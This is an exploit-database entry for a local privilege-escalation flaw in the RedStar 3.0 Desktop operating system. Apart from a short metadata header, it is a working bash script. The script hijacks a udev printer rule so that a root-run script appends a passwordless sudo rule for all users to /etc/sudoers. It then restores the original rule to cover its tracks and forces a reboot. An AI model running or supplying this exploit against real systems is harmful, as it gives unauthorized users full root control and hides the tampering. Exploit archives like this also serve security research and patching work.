RedStar 3.0 Desktop - Privilege Escalation (Enable sudo) Vulnerability

2015-01-13T00:00:00
ID 1337DAY-ID-23091
Type zdt
Reporter prdelka
Modified 2015-01-13T00:00:00

Description

Exploit for linux platform in category local exploits

                                        
                                            #!/bin/bash -e
 
## Alternative steps: https://pbs.twimg.com/media/B68inqBIQAA5sK6.png
## Proof: https://github.com/HackerFantastic/Public/blob/master/exploits/redstar3.0-localroot.png
 
cp /etc/udev/rules.d/85-hplj10xx.rules /tmp/udevhp.bak
echo 'RUN+="/bin/bash /tmp/r00t.sh"' > /etc/udev/rules.d/85-hplj10xx.rules
cat <<EOF >/tmp/r00t.sh
echo -e "ALL\tALL=(ALL)\tNOPASSWD: ALL" >> /etc/sudoers
mv /tmp/udevhp.bak /etc/udev/rules.d/85-hplj10xx.rules
chown 0:0 /etc/udev/rules.d/85-hplj10xx.rules
rm /tmp/r00t.sh
EOF
chmod +x /tmp/r00t.sh
echo "sudo will be available after reboot"
sleep 2
reboot
 
## Source: https://twitter.com/sfan55/status/550348619652796416 & http://www.openwall.com/lists/oss-security/2015/01/09/6

#  0day.today [2018-03-19]  #